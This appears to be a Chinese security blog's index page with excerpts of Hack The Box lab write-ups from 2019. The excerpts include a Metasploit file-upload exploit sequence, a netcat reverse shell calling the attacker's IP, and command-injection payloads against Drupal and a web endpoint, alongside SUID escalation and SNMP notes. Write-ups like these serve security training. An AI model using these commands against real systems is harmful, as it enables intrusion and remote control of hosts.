Nibbles（sudo no pass ) 文件上传获得shell12345678use exploit/multi/http/nibbleblog_file_uploadset RHOSTS 10.10.10.75set USERNAME adminset PASSWORD nibblesset TARGETURI /nibbleblogrun获得meterpreter shell 提权参考以前做过的方式LTR Scene（php写入一句 2019-03-14
Carrier(snmp泄露敏感信息) ifconfig123456789101112131415161718192021222324252627282930313233343536ifconfigeth0 Link encap:Ethernet HWaddr 00:16:3e:d9:04:ea inet addr:10.99.64.2 Bcast:10.99.64.255 Mask:255.255 2019-03-12
snmp&snmpwalk 161端口——snmp协议参考资料： http://www.freebuf.com/vuls/133517.html http://www.cnblogs.com/LittleHann/p/3834860.htmlcategories: tools 161端口——snmp协议参考资料： http://www.freebuf.com/vuls/133517.html http://www 2019-03-11 tools
Irked（suid提权） 1 root ircd 43 Mar 10 03:58 listusers cd /usr/bin/; ./viewuser结果/bin/nc: /bin/nc: cannot execute binary file nc -e /bin/bash 10.10.14.7 2233 成功反弹shell## 提权新建cat文件，内容是shell脚本。当suid程序执行ca 2019-03-09
03-08-sql-inject scan123480/tcp open http cloudflare443/tcp open ssl/https cloudflare8080/tcp open http-proxy cloudflare8443/tcp open ssl/https-alt cloudflare 确认为一个web server，有云防护，不允许直接ip访问 pin 2019-03-08 sql
Bastard（drupal插件导致远程代码执行） || whoami | nt authority\iusr|| systeminfo | Microsoft Windows Server 2008 R2 || dir | C:\inetpub\drupal-7.54 || type C:\Users\dimitris\Desktop\user.txt | xxx || powershell $PSVersionTable | 无ps | 获取 2019-03-05
读后感·互联网企业安全高级指南 参考资料： 在乙方从事网络安全工作的一些思考 https://www.zhihu.com/question/27356955 http://www.360doc.com/content/16/0314/22/31115656_542242914.shtml 2019-03-04
FluxCapacitor（from nobody to root） 12345678910curl "http://10.10.10.69/sync?opt=' sudo -l'"curl "http://10.10.10.69/sync?opt=' c\at /home/themiddle/.monit'"curl "http://10.10.10.69/sync?opt= 2019-03-03
msfvenom-生成攻击载荷-命令速查 参考资料： github-Micro8 https://github.com/rapid7/metasploit-framework/wiki/Metasploit-5.0-Release-Notes https://www.hackers-arise.com/single-post/2017/06/08/Metasploit-Basics-Part-7-Adding-a-New-Module- 2019-03-01 tools